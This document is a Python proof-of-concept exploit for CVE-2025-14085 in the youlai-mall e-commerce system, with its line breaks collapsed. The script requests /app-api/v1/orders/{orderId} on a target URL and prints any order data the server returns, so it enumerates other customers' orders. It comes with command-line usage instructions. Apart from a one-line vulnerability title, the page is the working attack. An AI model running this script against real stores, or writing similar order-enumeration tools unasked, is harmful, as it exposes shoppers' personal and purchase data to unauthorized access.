CVE-2025-14085 | youlai-mall动态变量控制不当漏洞

import requests import sys # CVE-2025-14085 PoC - youlai-mall Order Information Disclosure # Target: /app-api/v1/orders/{orderId} def exploit_cve_2025_14085(target_url, order_id): """ Exploit for improper control of dynamically-identified variables in youlai-mall order API endpoint """ endpoint = f"{target_url.rstrip('/')}/app-api/v1/orders/{order_id}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json', 'Content-Type': 'application/json' } try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[!] Successfully accessed order {order_id}") print(f"[*] Response: {data}") return True elif response.status_code == 403: print(f"[*] Order {order_id} access denied (403)") else: print(f"[*] Order {order_id} - Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14085.py <target_url> <order_id>") print("Example: python cve-2025-14085.py http://target.com 12345") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] exploit_cve_2025_14085(target, order_id)